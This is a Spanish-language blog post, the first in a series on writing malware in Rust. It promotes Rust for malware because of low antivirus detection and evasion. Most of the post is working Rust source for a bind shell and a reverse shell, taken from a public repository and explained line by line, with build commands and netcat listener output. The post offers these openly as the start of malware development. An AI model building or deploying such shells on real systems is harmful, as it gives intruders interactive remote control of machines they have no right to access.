¡Malware desde Cero con Rust!: Post 0 - Introducción y bind & reverse shells

En el panorama actual el desarrollo de malware se ha vuelto cada vez más sofisticado, y los actores maliciosos buscan constantemente nuevas herramientas y técnicas para evadir las defensas y comprometer los sistemas. Rust, un lenguaje de programación relativamente nuevo, ha emergido como una opción atractiva para el desarrollo de malware debido a sus características únicas de seguridad y rendimiento. 

¿Por qué Rust para Malware?

Porque Rust ofrece varias ventajas significativas para el desarrollo de malware: 
  • Rendimiento y Eficiencia: Rust ofrece un rendimiento cercano al de C y C++, lo que permite a los desarrolladores crear malware altamente eficiente y rápido. Esto es crucial para realizar tareas intensivas como cifrado, descompresión y manipulación de datos en tiempo real. 
  • Seguridad de Memoria: Una de las características más destacadas de Rust es su seguridad de memoria. Rust previene muchos errores comunes de programación que pueden provocar vulnerabilidades explotables, como desbordamientos de búfer y uso de punteros nulos. Esto hace que el malware escrito en Rust sea más estable y difícil de detectar y eliminar. 
  • Baja Detectabilidad: Debido a que Rust es relativamente nuevo en comparación con lenguajes más tradicionales como C y C++, muchos productos de seguridad y antivirus pueden no estar tan bien equipados para detectar y analizar malware escrito en Rust. Esto puede dar a los desarrolladores de malware una ventaja en términos de evasión de detección. 
  • Multiplataforma: Rust es un lenguaje multiplataforma que permite a los desarrolladores compilar el mismo código para múltiples sistemas operativos como Windows, Linux y macOS sin realizar cambios significativos. Esto facilita la creación de malware que puede atacar diferentes plataformas. 
  • Ecosistema y Herramientas: Rust tiene un ecosistema robusto con herramientas y bibliotecas que pueden facilitar el desarrollo de malware. Por ejemplo, las bibliotecas para la manipulación de red, el cifrado y la concurrencia son fácilmente accesibles y bien mantenidas. 
  • Concurrencia y Asincronía: Rust tiene un modelo de concurrencia moderno y eficiente. Esto permite que el malware escrito en Rust realice múltiples tareas simultáneamente sin los problemas típicos de concurrencia que pueden afectar a otros lenguajes, como las condiciones de carrera. 
  • Código Limpio y Mantenible: Rust enfatiza la escritura de código limpio y mantenible. Los desarrolladores de malware pueden beneficiarse de estas características para crear código que sea difícil de analizar y comprender para los investigadores de seguridad. 
Instalación de Rust 

$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh 
$ rustc --version rustc 1.79.0 (129f3b996 2024-06-10) 

Bind shell 

Empezaremos nuestro periplo usando la bind shell del repositorio: https://github.com/LukeDSchenk/rust-backdoors/

$ git clone https://github.com/LukeDSchenk/rust-backdoors.git 
$ cd rust-backdoors/bind-shell 

Este código crea un servidor TCP que escucha en el puerto 4444 de la dirección 127.0.0.1. Para cada conexión entrante, abre un nuevo proceso de shell (/bin/bash) y redirige la entrada y salida estándar del shell a través de la conexión TCP. Cada conexión se maneja en un hilo separado, lo que permite múltiples conexiones simultáneas. 

Imports
use std::net::{TcpStream, TcpListener};
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
use std::thread;
  • std::net::{TcpStream, TcpListener}: Importa TcpStream y TcpListener para manejar las conexiones TCP. 
  • std::os::unix::io::{AsRawFd, FromRawFd}: Importa funcionalidades específicas de UNIX para trabajar con descriptores de archivos. 
  • std::process::{Command, Stdio}: Importa Command y Stdio para ejecutar y manipular procesos. 
  • std::thread: Importa la biblioteca de hilos para manejar múltiples conexiones simultáneamente. 
Función handle_client
fn handle_client(stream: TcpStream) {
    let fd = stream.as_raw_fd(); // Convierte el objeto TcpStream a un descriptor de archivo bruto

    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait() // Espera a que el proceso del shell termine
        .unwrap();
}
  • fn handle_client(stream: TcpStream): Esta función se encarga de manejar cada conexión entrante.
  • let fd = stream.as_raw_fd();: Convierte el TcpStream a un descriptor de archivo bruto, necesario para redirigir la entrada/salida del proceso shell.
  • Command::new("/bin/bash"): Crea un nuevo comando para ejecutar /bin/bash.
  • .arg("-i"): Pasa el argumento -i para que el shell sea interactivo.
  • .stdin(unsafe { Stdio::from_raw_fd(fd) }): Redirige la entrada estándar del shell al descriptor de archivo del TcpStream.
  • .stdout(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida estándar del shell al descriptor de archivo del TcpStream.
  • .stderr(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida de error estándar del shell al descriptor de archivo del TcpStream.
  • .spawn().unwrap(): Inicia el proceso del shell.
  • .wait().unwrap(): Espera a que el proceso del shell termine.
Función main
fn main() {
    let listener = TcpListener::bind("127.0.0.1:4444").expect("Cannot bind to port 4444. Is something using it?");
    println!("Listening on port 4444...");

    let mut num_connections = 0;

    for stream in listener.incoming() {
        let stream = stream.expect("An error occurred trying to handle an incoming connection");

        println!("New connection from {}; Current connections: {}", stream.peer_addr().unwrap(), num_connections);
        thread::spawn(|| {
            handle_client(stream);
        });

        num_connections += 1;
    }
}
  • fn main(): Función principal que inicia el servidor.
  • let listener = TcpListener::bind("127.0.0.1:4444").expect("Cannot bind to port 4444. Is something using it?");: Crea un TcpListener que escucha en la dirección 127.0.0.1 en el puerto 4444.
  • println!("Listening on port 4444...");: Imprime un mensaje indicando que el servidor está escuchando.
  • let mut num_connections = 0;: Variable para contar el número de conexiones actuales.
  • for stream in listener.incoming(): Itera sobre cada conexión entrante.
  • let stream = stream.expect("An error occurred trying to handle an incoming connection");: Maneja errores al aceptar una conexión.
  • println!("New connection from {}; Current connections: {}", stream.peer_addr().unwrap(), num_connections);: Imprime un mensaje con la dirección del cliente y el número de conexiones actuales.
  • thread::spawn(|| { handle_client(stream); });: Crea un nuevo hilo para manejar la conexión entrante llamando a handle_client.
  • num_connections += 1;: Incrementa el contador de conexiones.
Uso

$ cargo build --release
$ ./target/release/bind-shell 
Listening on port 4444... 

(ejecutamos nc ip_address 4444)
New connection from 127.0.0.1:49880; Current connections: 1 

Reverse shell 

$ cd rust-backdoors/reverse-shell

Este código establece una conexión TCP con un servidor que escucha en localhost en el puerto 4444. Una vez establecida la conexión, crea un proceso de shell interactivo (/bin/bash) y redirige la entrada, salida y error estándar de ese shell a través de la conexión TCP. Esto permite interactuar con el shell remoto como si estuvieras directamente en la máquina donde se ejecuta el shell. Este tipo de funcionalidad es comúnmente utilizada en herramientas de acceso remoto y en el desarrollo de malware para establecer conexiones de reversa.

Vamos a volver a analizar paso a paso el código:

Imports
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
  • std::net::TcpStream: Importa TcpStream para manejar la conexión TCP.
  • std::os::unix::io::{AsRawFd, FromRawFd}: Importa funcionalidades específicas de UNIX para trabajar con descriptores de archivos.
  • std::process::{Command, Stdio}: Importa Command y Stdio para ejecutar y manipular procesos.
Función main
fn main() {
    let sock = TcpStream::connect("localhost:4444").unwrap();
    
    let fd = sock.as_raw_fd();

    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}
1. Establecer la conexión TCP
let sock = TcpStream::connect("localhost:4444").unwrap();
  • TcpStream::connect("localhost:4444"): Intenta conectar al servidor en localhost en el puerto 4444.
  • .unwrap(): Maneja cualquier error que pueda ocurrir durante la conexión. En caso de error, termina el programa con un mensaje de error.
2. Obtener el descriptor de archivo
let fd = sock.as_raw_fd();
  • sock.as_raw_fd(): Convierte el objeto TcpStream en un descriptor de archivo bruto. Esto es necesario para usar el socket TCP como entrada/salida estándar para el proceso de shell.
3. Ejecutar un shell interactivo
Command::new("/bin/bash")
    .arg("-i")
    .stdin(unsafe { Stdio::from_raw_fd(fd) })
    .stdout(unsafe { Stdio::from_raw_fd(fd) })
    .stderr(unsafe { Stdio::from_raw_fd(fd) })
    .spawn()
    .unwrap()
    .wait()
    .unwrap();
  • Command::new("/bin/bash"): Crea un nuevo comando para ejecutar /bin/bash.
  • .arg("-i"): Pasa el argumento -i para que el shell sea interactivo.
  • .stdin(unsafe { Stdio::from_raw_fd(fd) }): Redirige la entrada estándar del proceso de shell al descriptor de archivo del TcpStream.
  • .stdout(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida estándar del proceso de shell al descriptor de archivo del TcpStream.
  • .stderr(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida de error estándar del proceso de shell al descriptor de archivo del TcpStream.
  • .spawn(): Inicia el proceso de shell.
  • .unwrap(): Maneja cualquier error que pueda ocurrir durante el inicio del proceso. En caso de error, termina el programa con un mensaje de error.
  • .wait(): Espera a que el proceso del shell termine.
  • .unwrap(): Maneja cualquier error que pueda ocurrir mientras se espera a que el proceso termine. En caso de error, termina el programa con un mensaje de error.
Uso

$ cargo build --release
$ ./target/release/reverse-shell 

(ejecutamos previamente nc -nlvp 4444)
$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on localhost 56526

Y ya estaría, como veis dos sencillos snippets de código para ejecutar sendas shells.. y es sólo el principio... :)

Comentarios